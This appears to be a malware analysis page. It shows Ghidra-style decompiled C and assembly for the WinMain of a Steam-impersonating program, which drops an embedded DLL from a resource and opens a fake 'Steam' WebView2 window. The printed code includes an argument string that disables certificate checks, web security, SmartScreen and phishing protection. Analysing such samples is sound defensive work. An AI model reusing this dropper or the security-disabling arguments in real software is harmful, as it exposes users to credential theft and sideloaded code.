Drops embedded PE from RCDATA 300, registers window class, creates WebView2 environment

Cited as
E1
Behaviours
B1, B2
Called from
FUN_140021a30
Calls
CoInitializeEx CoUninitialize DwmExtendFrameIntoClientArea DwmSetWindowAttribute CreateWindowExW DispatchMessageW GetDC GetMessageW GetSystemMetrics LoadCursorW RegisterClassExW ReleaseDC SetProcessDpiAwarenessContext TranslateMessage UpdateWindow GetDeviceCaps GetStockObject CloseHandle CreateFileW GetEnvironmentVariableW GetModuleFileNameW GetModuleHandleW GetProcAddress LoadLibraryW LoadResource
Decompiled C · 575 lines
/* WARNING: Type propagation algorithm not settling */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

undefined8 WinMain(HINSTANCE param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ulonglong uVar1;
  UINT UVar2;
  undefined4 uVar3;
  undefined1 _Src [8];
  code cVar4;
  undefined1 uVar5;
  undefined2 uVar6;
  WPARAM WVar7;
  int iVar8;
  DWORD nNumberOfBytesToWrite;
  DWORD DVar9;
  int iVar10;
  BOOL BVar11;
  HDC hdc;
  size_t sVar12;
  HRSRC hResInfo;
  HGLOBAL hResData;
  longlong lVar13;
  tagMSG *ptVar14;
  undefined **ppuVar15;
  HANDLE hFile;
  HMODULE pHVar16;
  FARPROC pFVar17;
  FARPROC pFVar18;
  INT_PTR IVar19;
  undefined8 *puVar20;
  longlong *plVar21;
  wchar_t *pwVar22;
  tagMSG *ptVar23;
  tagMSG *ptVar24;
  tagMSG *ptVar25;
  byte *pbVar26;
  tagMSG *ptVar27;
  tagMSG *ptVar28;
  int iVar29;
  tagMSG *ptVar30;
  undefined8 uVar31;
  wchar_t *pwVar32;
  undefined8 in_R9;
  ulonglong *puVar33;
  ulonglong uVar34;
  longlong lVar35;
  undefined4 uVar36;
  undefined4 uVar37;
  undefined1 local_578 [8];
  wchar_t *pwStack_570;
  tagMSG *local_568;
  undefined1 local_558 [8];
  wchar_t *pwStack_550;
  tagMSG *local_548;
  undefined1 local_538 [8];
  wchar_t *pwStack_530;
  tagMSG *local_528;
  undefined1 local_518 [8];
  undefined **ppuStack_510;
  tagMSG *local_508;
  undefined1 local_4f8 [16];
  tagMSG *local_4e8;
  HINSTANCE pHStack_4e0;
  HICON local_4d8;
  HCURSOR pHStack_4d0;
  HBRUSH local_4c8;
  LPCWSTR pWStack_4c0;
  LPCWSTR local_4b8;
  HICON pHStack_4b0;
  undefined4 local_49c;
  HINSTANCE local_498;
  LPVOID local_490;
  MARGINS local_488;
  tagMSG local_478 [11];
  wchar_t local_268 [276];
  
  SetProcessDpiAwarenessContext();
  CoInitializeEx((LPVOID)0x0,2);
  hdc = GetDC((HWND)0x0);
  iVar8 = GetDeviceCaps(hdc,0x58);
  ReleaseDC((HWND)0x0,hdc);
  iVar29 = 0x60;
  if (0x60 < iVar8) {
    iVar29 = iVar8;
  }
  DAT_1400c9000 = MulDiv(0x2c0,iVar29,0x60);
  DAT_1400c9004 = MulDiv(0x1bb,iVar29,0x60);
  GetModuleFileNameW((HMODULE)0x0,local_268,0x104);
  local_4f8._0_8_ = (tagMSG *)0x0;
  local_4f8._8_8_ = (tagMSG *)0x0;
  local_4e8 = (tagMSG *)0x0;
  sVar12 = wcslen(local_268);
  pwVar32 = local_268 + sVar12;
  FUN_140004dc0((ulonglong *)local_4f8,local_268,(longlong)pwVar32);
  plVar21 = (longlong *)local_578;
  pbVar26 = local_4f8;
  FUN_14000a4c0(plVar21,pbVar26);
  pwVar22 = pwStack_570;
  _Src = local_578;
  if ((wchar_t *)0x7ffffffffffffff5 < pwStack_570) {
                    /* WARNING: Subroutine does not return */
    FUN_1400049f0(plVar21,pbVar26,pwVar32,in_R9);
  }
  if (pwStack_570 < (wchar_t *)0xb) {
    local_478[0].hwnd._0_1_ = (code)((char)pwStack_570 * '\x02');
    ptVar27 = (tagMSG *)((longlong)&local_478[0].hwnd + 2);
    if (pwStack_570 != (wchar_t *)0x0) goto LAB_14000157c;
  }
  else {
    lVar35 = 0xe;
    if (((ulonglong)pwStack_570 | 3) != 0xb) {
      lVar35 = ((ulonglong)pwStack_570 | 3) + 1;
    }
    ptVar27 = (tagMSG *)FUN_14001f800(lVar35 * 2,pbVar26,pwVar32,in_R9);
    local_478[0].hwnd._0_1_ = (code)((byte)lVar35 | 1);
    local_478[0].hwnd._1_1_ = (undefined1)((ulonglong)lVar35 >> 8);
    local_478[0].hwnd._2_2_ = (undefined2)((ulonglong)lVar35 >> 0x10);
    local_478[0].hwnd._4_4_ = (undefined4)((ulonglong)lVar35 >> 0x20);
    local_478[0].message = (UINT)pwVar22;
    local_478[0]._12_4_ = (undefined4)((ulonglong)pwVar22 >> 0x20);
    local_478[0].wParam = (WPARAM)ptVar27;
LAB_14000157c:
    memmove(ptVar27,(void *)_Src,(longlong)pwVar22 * 2);
  }
  uVar5 = local_478[0].hwnd._1_1_;
  cVar4 = local_478[0].hwnd._0_1_;
  *(WCHAR *)((longlong)&ptVar27->hwnd + (longlong)pwVar22 * 2) = L'\0';
  WVar7 = local_478[0].wParam;
  uVar6 = local_478[0].hwnd._2_2_;
  local_558 = (undefined1  [8])CONCAT44(local_478[0].message,local_478[0].hwnd._4_4_);
  pwStack_550 = (wchar_t *)CONCAT44(pwStack_550._4_4_,local_478[0]._12_4_);
  if (((byte)DAT_1400c9438 & 1) != 0) {
    FUN_14001f8e0(DAT_1400c9448);
  }
  DAT_1400c9438 = cVar4;
  DAT_1400c9439 = uVar5;
  _DAT_1400c943a = uVar6;
  _DAT_1400c943c = local_558._0_4_;
  DAT_1400c9440._0_4_ = local_558._4_4_;
  DAT_1400c9440._4_4_ = (uint)pwStack_550;
  DAT_1400c9448 = (WNDPROC)WVar7;
  if ((local_4f8._0_8_ & 1) != 0) {
    FUN_14001f8e0(local_4e8);
  }
  hResInfo = FindResourceW((HMODULE)0x0,(LPCWSTR)0x12c,(LPCWSTR)0xa);
  if (hResInfo == (HRSRC)0x0) {
LAB_1400016ae:
    uVar36 = local_538._4_4_;
    local_538._0_2_ = local_538._0_2_ & 0xff00;
    local_538._0_4_ = CONCAT22(0,local_538._0_2_);
    local_538 = (undefined1  [8])CONCAT44(uVar36,local_538._0_4_);
    uVar34 = 0;
  }
  else {
    nNumberOfBytesToWrite = SizeofResource((HMODULE)0x0,hResInfo);
    hResData = LoadResource((HMODULE)0x0,hResInfo);
    local_490 = LockResource(hResData);
    if (local_490 == (LPVOID)0x0 || nNumberOfBytesToWrite == 0) goto LAB_1400016ae;
    if (((byte)DAT_1400c9438 & 1) == 0) {
      local_478[0].wParam = (WPARAM)DAT_1400c9448;
      local_478[0].hwnd._0_1_ = DAT_1400c9438;
      local_478[0].hwnd._1_1_ = DAT_1400c9439;
      local_478[0].hwnd._2_2_ = _DAT_1400c943a;
      local_478[0].hwnd._4_4_ = _DAT_1400c943c;
      local_478[0].message = (UINT)DAT_1400c9440;
      local_478[0]._12_4_ = DAT_1400c9440._4_4_;
    }
    else {
      FUN_140004b30((longlong *)local_478,DAT_1400c9448,
                    CONCAT44(DAT_1400c9440._4_4_,(UINT)DAT_1400c9440),in_R9);
    }
    local_4f8._0_8_ = (tagMSG *)0x0;
    local_4f8._8_8_ = (tagMSG *)0x0;
    local_4e8 = (tagMSG *)0x0;
    puVar33 = (ulonglong *)0x1;
    FUN_140004bc0((longlong *)local_4f8,param_2,param_3,param_4);
    if (((byte)local_478[0].hwnd._0_1_ & 1) != 0) {
      FUN_14001f8e0((void *)local_478[0].wParam);
    }
    pwVar22 = L"LOCALAPPDATA";
    ptVar27 = local_478;
    pwVar32 = (wchar_t *)0x104;
    DVar9 = GetEnvironmentVariableW(L"LOCALAPPDATA",(LPWSTR)ptVar27,0x104);
    if (DVar9 != 0) {
      local_558 = (undefined1  [8])0x0;
      pwStack_550 = (wchar_t *)0x0;
      local_548 = (tagMSG *)0x0;
      sVar12 = wcslen((wchar_t *)local_478);
      FUN_140004dc0((ulonglong *)local_558,local_478,(longlong)&local_478[0].hwnd + sVar12 * 2);
      local_518 = (undefined1  [8])0x0;
      ppuStack_510 = (undefined **)0x0;
      local_508 = (tagMSG *)0x0;
      pwVar32 = L"";
      FUN_140004dc0((ulonglong *)local_518,L"Steam",0x14009b27c);
      if (((ulonglong)local_558 & 1) == 0) {
        local_568 = local_548;
        local_578 = local_558;
        pwStack_570 = pwStack_550;
      }
      else {
        pwVar32 = pwStack_550;
        FUN_140004b30((longlong *)local_578,local_548,(ulonglong)pwStack_550,puVar33);
      }
      pwVar22 = (wchar_t *)local_578;
      ptVar27 = (tagMSG *)local_518;
      FUN_140005050((ulonglong *)pwVar22,(ulonglong *)ptVar27,(size_t)pwVar32,(ulonglong)puVar33);
      if ((ulonglong)local_4f8._8_8_ < local_4e8) {
        *(tagMSG **)(local_4f8._8_8_ + 0x10) = local_568;
        *(HWND *)local_4f8._8_8_ = (HWND)local_578;
        *(wchar_t **)(local_4f8._8_8_ + 8) = pwStack_570;
        local_578 = (undefined1  [8])0x0;
        pwStack_570 = (wchar_t *)0x0;
        local_568 = (tagMSG *)0x0;
        ptVar28 = (tagMSG *)(local_4f8._8_8_ + 0x18);
      }
      else {
        uVar31 = 0xaaaaaaaaaaaaaaa;
        lVar35 = local_4f8._8_8_ - local_4f8._0_8_;
        pwVar32 = (wchar_t *)0xaaaaaaaaaaaaaaab;
        uVar34 = (lVar35 >> 3) * -0x5555555555555555 + 1;
        if (0xaaaaaaaaaaaaaaa < uVar34) {
          ptVar27 = (tagMSG *)local_4f8._0_8_;
          FUN_140004d50(0xaaaaaaaaaaaaaaa,local_4f8._0_8_,0xaaaaaaaaaaaaaaab,puVar33);
LAB_140002280:
                    /* WARNING: Subroutine does not return */
          FUN_140004a90(uVar31,ptVar27,pwVar32,puVar33);
        }
        lVar13 = (longlong)local_4e8 - local_4f8._0_8_ >> 3;
        uVar1 = lVar13 * 0x5555555555555556;
        if (uVar34 < uVar1) {
          uVar34 = uVar1;
        }
        ptVar27 = (tagMSG *)0x555555555555555;
        if (0x555555555555554 < (ulonglong)(lVar13 * -0x5555555555555555)) {
          uVar34 = 0xaaaaaaaaaaaaaaa;
        }
        if (0xaaaaaaaaaaaaaaa < uVar34) goto LAB_140002280;
        lVar13 = FUN_14001f800(uVar34 * 0x18,0x555555555555555,0xaaaaaaaaaaaaaaab,puVar33);
        uVar31 = local_4f8._8_8_;
        ptVar27 = local_568;
        pwVar22 = (wchar_t *)(lVar13 + lVar35);
        ptVar25 = (tagMSG *)(lVar13 + uVar34 * 0x18);
        *(tagMSG **)(lVar13 + 0x10 + lVar35) = local_568;
        *(ulonglong *)(lVar13 + lVar35) = (ulonglong)local_578;
        ((ulonglong *)(lVar13 + lVar35))[1] = (ulonglong)pwStack_570;
        local_578 = (undefined1  [8])0x0;
        pwStack_570 = (wchar_t *)0x0;
        local_568 = (tagMSG *)0x0;
        ptVar28 = (tagMSG *)(lVar13 + 0x18 + lVar35);
        ptVar24 = (tagMSG *)((longlong)pwVar22 + (local_4f8._0_8_ - local_4f8._8_8_));
        ptVar14 = (tagMSG *)local_4f8._0_8_;
        ptVar23 = ptVar24;
        if (local_4f8._0_8_ - local_4f8._8_8_ != 0) {
          do {
            ptVar27 = (tagMSG *)ptVar14->wParam;
            ptVar23->wParam = (WPARAM)ptVar27;
            uVar36 = *(undefined4 *)&ptVar14->hwnd;
            uVar37 = *(undefined4 *)((longlong)&ptVar14->hwnd + 4);
            UVar2 = ptVar14->message;
            uVar3 = *(undefined4 *)&ptVar14->field_0xc;
            *(undefined4 *)&ptVar23->hwnd = uVar36;
            *(undefined4 *)((longlong)&ptVar23->hwnd + 4) = uVar37;
            ptVar23->message = UVar2;
            *(undefined4 *)&ptVar23->field_0xc = uVar3;
            ptVar14->hwnd = (HWND)0x0;
            *(undefined8 *)&ptVar14->message = 0;
            ptVar14->wParam = 0;
            ptVar14 = (tagMSG *)&ptVar14->lParam;
            pwVar22 = (wchar_t *)&ptVar23->lParam;
            ptVar23 = (tagMSG *)pwVar22;
            ptVar30 = (tagMSG *)local_4f8._0_8_;
          } while (ptVar14 != (tagMSG *)local_4f8._8_8_);
          do {
            if (((ulonglong)ptVar30->hwnd & 1) != 0) {
              pwVar22 = (wchar_t *)ptVar30->wParam;
              FUN_14001f8e0(pwVar22);
            }
            param_2 = CONCAT44(uVar37,uVar36);
            ptVar30 = (tagMSG *)&ptVar30->lParam;
            ptVar14 = (tagMSG *)local_4f8._0_8_;
          } while (ptVar30 != (tagMSG *)uVar31);
        }
        local_4f8._0_8_ = ptVar24;
        local_4e8 = ptVar25;
        if (ptVar14 != (tagMSG *)0x0) {
          local_4f8._8_8_ = ptVar28;
          FUN_14001f8e0(ptVar14);
          pwVar22 = (wchar_t *)ptVar14;
        }
      }
      ptVar25 = local_508;
      local_4f8._8_8_ = ptVar28;
      if (((ulonglong)local_578 & 1) != 0) {
        pwVar22 = (wchar_t *)local_568;
        FUN_14001f8e0(local_568);
        ptVar25 = local_508;
      }
      ptVar24 = local_548;
      local_508 = ptVar25;
      if (((ulonglong)local_518 & 1) != 0) {
        FUN_14001f8e0(ptVar25);
        pwVar22 = (wchar_t *)ptVar25;
        ptVar24 = local_548;
      }
      local_548 = ptVar24;
      if (((ulonglong)local_558 & 1) != 0) {
        FUN_14001f8e0(ptVar24);
        pwVar22 = (wchar_t *)ptVar24;
      }
    }
    uVar31 = local_4f8._8_8_;
    ptVar25 = (tagMSG *)local_4f8._0_8_;
    local_498 = param_1;
    if (local_4f8._0_8_ != local_4f8._8_8_) {
      ppuVar15 = FUN_1400160f0(pwVar22,ptVar27,pwVar32,puVar33);
      do {
        local_518 = (undefined1  [8])((ulonglong)local_518 & 0xffffffff00000000);
        ppuStack_510 = ppuVar15;
        FUN_140018e00((byte *)ptVar25,param_2,param_3,param_4);
        local_558 = (undefined1  [8])0x0;
        pwStack_550 = (wchar_t *)0x0;
        local_548 = (tagMSG *)0x0;
        pwVar22 = L"";
        FUN_140004dc0((ulonglong *)local_558,L"WebView2Loader.dll",0x14009b83a);
        if (((ulonglong)ptVar25->hwnd & 1) == 0) {
          local_568 = (tagMSG *)ptVar25->wParam;
          local_578 = (undefined1  [8])ptVar25->hwnd;
          pwStack_570 = *(wchar_t **)&ptVar25->message;
        }
        else {
          pwVar22 = *(wchar_t **)&ptVar25->message;
          FUN_140004b30((longlong *)local_578,(void *)ptVar25->wParam,(ulonglong)pwVar22,puVar33);
        }
        FUN_140005050((ulonglong *)local_578,(ulonglong *)local_558,(size_t)pwVar22,
                      (ulonglong)puVar33);
        if (((ulonglong)local_558 & 1) != 0) {
          FUN_14001f8e0(local_548);
        }
        ptVar27 = (tagMSG *)(local_578 + 2);
        if (((ulonglong)local_578 & 1) != 0) {
          ptVar27 = local_568;
        }
        puVar33 = (ulonglong *)0x0;
        hFile = CreateFileW((LPCWSTR)ptVar27,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,
                            (HANDLE)0x0);
        if (hFile == (HANDLE)0xffffffffffffffff) {
          iVar29 = 3;
        }
        else {
          local_558 = (undefined1  [8])((ulonglong)local_558 & 0xffffffff00000000);
          puVar33 = (ulonglong *)local_558;
          WriteFile(hFile,local_490,nNumberOfBytesToWrite,(LPDWORD)local_558,(LPOVERLAPPED)0x0);
          CloseHandle(hFile);
          iVar29 = 0;
          if (local_558._0_4_ == nNumberOfBytesToWrite) {
            if (((ulonglong)local_578 & 1) == 0) {
              local_528 = local_568;
              local_538 = local_578;
              pwStack_530 = pwStack_570;
              iVar29 = 1;
            }
            else {
              iVar29 = 1;
              FUN_140004b30((longlong *)local_538,local_568,(ulonglong)pwStack_570,puVar33);
            }
          }
        }
        if (((ulonglong)local_578 & 1) != 0) {
          FUN_14001f8e0(local_568);
        }
        if ((iVar29 != 3) && (iVar29 != 0)) goto LAB_140001bf8;
        ptVar25 = (tagMSG *)&ptVar25->lParam;
      } while (ptVar25 != (tagMSG *)uVar31);
    }
    uVar36 = local_538._4_4_;
    local_538._0_2_ = local_538._0_2_ & 0xff00;
    local_538._0_4_ = CONCAT22(0,local_538._0_2_);
    local_538 = (undefined1  [8])CONCAT44(uVar36,local_538._0_4_);
LAB_140001bf8:
    param_1 = local_498;
    uVar31 = local_4f8._0_8_;
    ptVar27 = (tagMSG *)local_4f8._8_8_;
    if ((tagMSG *)local_4f8._0_8_ != (tagMSG *)0x0) {
      for (; (tagMSG *)uVar31 != ptVar27; ptVar27 = (tagMSG *)&ptVar27[-1].lParam) {
        if ((ptVar27[-1].lParam & 1) != 0) {
          FUN_14001f8e0(*(void **)&ptVar27[-1].pt.y);
        }
      }
      local_4f8._8_8_ = uVar31;
      FUN_14001f8e0((void *)local_4f8._0_8_);
    }
    uVar34 = (ulonglong)local_538 & 0xff;
    pwVar22 = pwStack_530;
    if (((ulonglong)local_538 & 1) != 0) goto LAB_140001c66;
  }
  pwVar22 = (wchar_t *)(uVar34 >> 1);
LAB_140001c66:
  uVar31 = 1;
  if (pwVar22 != (wchar_t *)0x0) {
    ptVar27 = local_528;
    if ((uVar34 & 1) == 0) {
      ptVar27 = (tagMSG *)(local_538 + 2);
    }
    pHVar16 = LoadLibraryW((LPCWSTR)ptVar27);
    if ((pHVar16 != (HMODULE)0x0) &&
       (pFVar17 = GetProcAddress(pHVar16,"CreateCoreWebView2EnvironmentWithOptions"),
       pFVar17 != (FARPROC)0x0)) {
      local_4e8 = (tagMSG *)0x0;
      local_4b8 = (LPCWSTR)0x0;
      pHStack_4b0 = (HICON)0x0;
      local_4c8 = (HBRUSH)0x0;
      pWStack_4c0 = (LPCWSTR)0x0;
      local_4d8 = (HICON)0x0;
      pHStack_4d0 = (HCURSOR)0x0;
      local_4f8._0_8_ = (tagMSG *)0x300000050;
      local_4f8._8_8_ = WndProc;
      pHStack_4e0 = param_1;
      pHStack_4d0 = LoadCursorW((HINSTANCE)0x0,(LPCWSTR)0x7f00);
      local_4c8 = GetStockObject(4);
      local_4d8 = LoadIconW(param_1,(LPCWSTR)0x1);
      pHStack_4b0 = LoadIconW(param_1,(LPCWSTR)0x1);
      local_4b8 = L"SteamWindow";
      RegisterClassExW((WNDCLASSEXW *)local_4f8);
      iVar8 = GetSystemMetrics(0);
      iVar29 = DAT_1400c9000;
      iVar10 = GetSystemMetrics(1);
      DAT_1400c9450 =
           CreateWindowExW(0,local_4b8,L"Steam",0x82020000,(iVar8 - iVar29) / 2,
                           (iVar10 - DAT_1400c9004) / 2,DAT_1400c9000,DAT_1400c9004,(HWND)0x0,
                           (HMENU)0x0,param_1,(LPVOID)0x0);
      local_488.cxLeftWidth = _DAT_14009b280;
      local_488.cxRightWidth = _UNK_14009b284;
      local_488.cyTopHeight = _UNK_14009b288;
      local_488.cyBottomHeight = _UNK_14009b28c;
      DwmExtendFrameIntoClientArea(DAT_1400c9450,&local_488);
      local_49c = 1;
      uVar34 = 4;
      DwmSetWindowAttribute(DAT_1400c9450,0x14,&local_49c,4);
      pHVar16 = GetModuleHandleW(L"ntdll.dll");
      if ((pHVar16 != (HMODULE)0x0) &&
         (pFVar18 = GetProcAddress(pHVar16,"RtlGetVersion"), pFVar18 != (FARPROC)0x0)) {
        memset((void *)((longlong)&local_478[0].hwnd + 4),0,0x118);
        local_478[0].hwnd._0_1_ = (code)0x1c;
        local_478[0].hwnd._1_1_ = 1;
        local_478[0].hwnd._2_2_ = 0;
        IVar19 = (*pFVar18)(local_478);
        if (((int)IVar19 == 0) && (21999 < (uint)local_478[0]._12_4_)) {
          local_578._0_4_ = 2;
          uVar34 = 4;
          DwmSetWindowAttribute(DAT_1400c9450,0x21,local_578,4);
        }
      }
      UpdateWindow(DAT_1400c9450);
      local_478[0].hwnd._0_1_ = (code)0x0;
      local_478[0].hwnd._1_1_ = 0;
      local_478[0].hwnd._2_2_ = 0;
      local_478[0].hwnd._4_4_ = 0;
      local_478[0].message = 0;
      local_478[0]._12_4_ = 0;
      local_478[0].wParam = 0;
      pwVar22 = L"";
      FUN_140004dc0((ulonglong *)local_478,L"userdata",0x14009b2c2);
      if (((byte)DAT_1400c9438 & 1) == 0) {
        local_548 = (tagMSG *)DAT_1400c9448;
        local_558 = (undefined1  [8])
                    CONCAT44(_DAT_1400c943c,
                             CONCAT22(_DAT_1400c943a,CONCAT11(DAT_1400c9439,DAT_1400c9438)));
        pwStack_550 = (wchar_t *)CONCAT44(DAT_1400c9440._4_4_,(UINT)DAT_1400c9440);
      }
      else {
        pwVar22 = (wchar_t *)CONCAT44(DAT_1400c9440._4_4_,(UINT)DAT_1400c9440);
        FUN_140004b30((longlong *)local_558,DAT_1400c9448,(ulonglong)pwVar22,uVar34);
      }
      ptVar27 = (tagMSG *)local_558;
      ptVar25 = local_478;
      FUN_140005050((ulonglong *)ptVar27,(ulonglong *)ptVar25,(size_t)pwVar22,uVar34);
      if (((byte)local_478[0].hwnd._0_1_ & 1) != 0) {
        ptVar27 = (tagMSG *)local_478[0].wParam;
        FUN_14001f8e0((void *)local_478[0].wParam);
      }
      local_518 = (undefined1  [8])((ulonglong)local_518 & 0xffffffff00000000);
      ppuStack_510 = FUN_1400160f0(ptVar27,ptVar25,pwVar22,uVar34);
      lVar35 = 0;
      do {
        pwVar32 = *(wchar_t **)((longlong)&PTR_u_EBWebView_Cache_14009b8c0 + lVar35);
        local_578 = (undefined1  [8])0x0;
        pwStack_570 = (wchar_t *)0x0;
        local_568 = (tagMSG *)0x0;
        sVar12 = wcslen(pwVar32);
        pwVar22 = pwVar32 + sVar12;
        FUN_140004dc0((ulonglong *)local_578,pwVar32,(longlong)pwVar22);
        if (((ulonglong)local_558 & 1) == 0) {
          local_478[0].wParam = (WPARAM)local_548;
          local_478[0].hwnd._0_1_ = local_558[0];
          local_478[0].hwnd._1_1_ = local_558[1];
          local_478[0].hwnd._2_2_ = local_558._2_2_;
          local_478[0].hwnd._4_4_ = local_558._4_4_;
          local_478[0].message = (UINT)pwStack_550;
          local_478[0]._12_4_ = (undefined4)((ulonglong)pwStack_550 >> 0x20);
        }
        else {
          pwVar22 = pwStack_550;
          FUN_140004b30((longlong *)local_478,local_548,(ulonglong)pwStack_550,uVar34);
        }
        FUN_140005050((ulonglong *)local_478,(ulonglong *)local_578,(size_t)pwVar22,uVar34);
        FUN_14001a620((byte *)local_478,param_2,param_3,param_4);
        if (((byte)local_478[0].hwnd._0_1_ & 1) != 0) {
          FUN_14001f8e0((void *)local_478[0].wParam);
        }
        if (((ulonglong)local_578 & 1) != 0) {
          FUN_14001f8e0(local_568);
        }
        lVar35 = lVar35 + 8;
      } while (lVar35 != 0x28);
      pwVar32 = 
      L"--ignore-certificate-errors --allow-running-insecure-content --disable-web-security --no-first-run --disable-popup-blocking --disable-features=msSmartScreenProtection,msEnhancedSecurityMode,msSafeLinksValidation,EdgeSafetyTips,InternetExplorerIntegration,SmartScreen,SafeBrowsing,SafeBrowsingEnhancedProtection,PhishingProtection,InsecureFormWarnings,HttpsUpgrades,HttpsFirstModeV2,AutomaticHttpsDefault,CertificateTransparencyComponentUpdater,RendererCodeIntegrity,BlockInsecurePrivateNetworkRequests --disable-client-side-phishing-detection --disable-component-update --disable-domain-reliability --no-pings --inprivate"
      ;
      SetEnvironmentVariableW
                (L"WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS",
                 L"--ignore-certificate-errors --allow-running-insecure-content --disable-web-security --no-first-run --disable-popup-blocking --disable-features=msSmartScreenProtection,msEnhancedSecurityMode,msSafeLinksValidation,EdgeSafetyTips,InternetExplorerIntegration,SmartScreen,SafeBrowsing,SafeBrowsingEnhancedProtection,PhishingProtection,InsecureFormWarnings,HttpsUpgrades,HttpsFirstModeV2,AutomaticHttpsDefault,CertificateTransparencyComponentUpdater,RendererCodeIntegrity,BlockInsecurePrivateNetworkRequests --disable-client-side-phishing-detection --disable-component-update --disable-domain-reliability --no-pings --inprivate"
                );
      if (((ulonglong)local_558 & 1) == 0) {
        local_478[0].wParam = (WPARAM)local_548;
        local_478[0].hwnd._0_1_ = local_558[0];
        local_478[0].hwnd._1_1_ = local_558[1];
        local_478[0].hwnd._2_2_ = local_558._2_2_;
        local_478[0].hwnd._4_4_ = local_558._4_4_;
        local_478[0].message = (UINT)pwStack_550;
        local_478[0]._12_4_ = (undefined4)((ulonglong)pwStack_550 >> 0x20);
      }
      else {
        pwVar32 = (wchar_t *)local_548;
        pwVar22 = pwStack_550;
        FUN_140004b30((longlong *)local_478,local_548,(ulonglong)pwStack_550,uVar34);
      }
      puVar20 = (undefined8 *)FUN_14001f800(0x10,pwVar32,pwVar22,uVar34);
      *puVar20 = 0;
      puVar20[1] = 0;
      *puVar20 = &PTR_LAB_14009f0b0;
      *(undefined4 *)(puVar20 + 1) = 1;
      IVar19 = (*pFVar17)(0);
      if (((byte)local_478[0].hwnd._0_1_ & 1) != 0) {
        FUN_14001f8e0((void *)local_478[0].wParam);
      }
      if ((int)IVar19 < 0) {
        uVar31 = 1;
      }
      else {
        while (BVar11 = GetMessageW(local_478,(HWND)0x0,0,0), BVar11 != 0) {
          TranslateMessage(local_478);
          DispatchMessageW(local_478);
        }
        if (DAT_1400c9458 != (longlong *)0x0) {
          (**(code **)(*DAT_1400c9458 + 0x10))();
        }
        if (DAT_1400c9460 != (longlong *)0x0) {
          (**(code **)(*DAT_1400c9460 + 0x10))();
        }
        CoUninitialize();
        uVar31 = 0;
      }
      if (((ulonglong)local_558 & 1) != 0) {
        FUN_14001f8e0(local_548);
      }
    }
  }
  if (((ulonglong)local_538 & 1) != 0) {
    FUN_14001f8e0(local_528);
  }
  return uVar31;
}

Assembly · 713 instructions, 62 annotated
AddressBytesInstructionComment
14000140041 57PUSH R15
14000140241 56PUSH R14
14000140441 55PUSH R13
14000140641 54PUSH R12
14000140856PUSH RSI
14000140957PUSH RDI
14000140a55PUSH RBP
14000140b53PUSH RBX
14000140c48 81 ec 98 05 00 00SUB RSP,0x598
1400014130f 29 b4 24 80 05 00 00MOVAPS xmmword ptr [RSP + local_58[0]],XMM6
14000141b49 89 cdMOV R13,RCX
14000141e48 c7 c1 fc ff ff ffMOV RCX,-0x4
140001425ff 15 7d 0f 0b 00CALL qword ptr [PTR_SetProcessDpiAwarenessContext_1400b23a8]
14000142b31 c9XOR ECX,ECX
14000142dba 02 00 00 00MOV EDX,0x2
140001432ff 15 48 0e 0b 00CALL qword ptr [PTR_CoInitializeEx_1400b2280]
14000143831 c9XOR ECX,ECX
14000143aff 15 f8 0e 0b 00CALL qword ptr [PTR_GetDC_1400b2338]
14000144048 89 c6MOV RSI,RAX
14000144348 89 c1MOV RCX,RAX
140001446ba 58 00 00 00MOV EDX,0x58
14000144bff 15 87 0f 0b 00CALL qword ptr [PTR_GetDeviceCaps_1400b23d8]
14000145189 c7MOV EDI,EAX
14000145331 c9XOR ECX,ECX
14000145548 89 f2MOV RDX,RSI
140001458ff 15 32 0f 0b 00CALL qword ptr [PTR_ReleaseDC_1400b2390]
14000145e83 ff 61CMP EDI,0x61
140001461be 60 00 00 00MOV ESI,0x60
1400014660f 4d f7CMOVGE ESI,EDI
14000146948 8b 3d c8 14 0b 00MOV RDI,qword ptr [PTR_MulDiv_1400b2938]
140001470b9 c0 02 00 00MOV ECX,0x2c0
14000147589 f2MOV EDX,ESI
14000147741 b8 60 00 00 00MOV R8D,0x60
14000147dff d7CALL RDI
14000147f89 05 7b 7b 0c 00MOV dword ptr [DAT_1400c9000],EAX
140001485b9 bb 01 00 00MOV ECX,0x1bb
14000148a89 f2MOV EDX,ESI
14000148c41 b8 60 00 00 00MOV R8D,0x60
140001492ff d7CALL RDI
14000149489 05 6a 7b 0c 00MOV dword ptr [DAT_1400c9004],EAX
14000149a48 8d b4 24 70 03 00 00LEA RSI,[RSP + 0x370]
1400014a231 c9XOR ECX,ECX
1400014a448 89 f2MOV RDX,RSI
1400014a741 b8 04 01 00 00MOV R8D,0x104
1400014adff 15 fd 13 0b 00CALL qword ptr [PTR_GetModuleFileNameW_1400b28b0]
1400014b30f 57 c0XORPS XMM0,XMM0
1400014b60f 29 84 24 e0 00 00 00MOVAPS xmmword ptr [RSP + local_4f8[0]],XMM0
1400014be48 c7 84 24 f0 00 00 00 …MOV qword ptr [RSP + local_4e8[0]],0x0
1400014ca48 89 f1MOV RCX,RSI
1400014cde8 be 8d 09 00CALL wcslen
1400014d24c 8d 04 44LEA R8,[RSP + RAX*0x2]
1400014d649 81 c0 70 03 00 00ADD R8,0x370
1400014dd48 8d 8c 24 e0 00 00 00LEA RCX,[RSP + 0xe0]
1400014e548 89 f2MOV RDX,RSI
1400014e8e8 d3 38 00 00CALL FUN_140004dc0; FUN_140004dc0: memcpy, __acrt_iob_func, RtlUnwindEx, memmove
1400014ed48 8d 4c 24 60LEA RCX,[RSP + 0x60]
1400014f248 8d 94 24 e0 00 00 00LEA RDX,[RSP + 0xe0]
1400014fae8 c1 8f 00 00CALL FUN_14000a4c0
1400014ff48 8b 5c 24 68MOV RBX,qword ptr [RSP + local_578[8]]
14000150448 b8 f6 ff ff ff ff ff …MOV RAX,0x7ffffffffffffff6
14000150e48 39 c3CMP RBX,RAX
1400015110f 83 5f 0d 00 00JNC LAB_140002276
14000151748 8b 74 24 60MOV RSI,qword ptr [RSP + local_578[0]]
14000151c48 83 fb 0bCMP RBX,0xb
14000152073 19JNC LAB_14000153b
1400015228d 04 1bLEA EAX,[RBX + RBX*0x1]
14000152588 84 24 60 01 00 00MOV byte ptr [RSP + local_478[0]],AL
14000152c48 8d bc 24 62 01 00 00LEA RDI,[RSP + 0x162]
14000153448 85 dbTEST RBX,RBX
14000153775 43JNZ LAB_14000157c
140001539eb 50JMP LAB_14000158b
LAB_14000153b:
14000153b48 89 d8MOV RAX,RBX
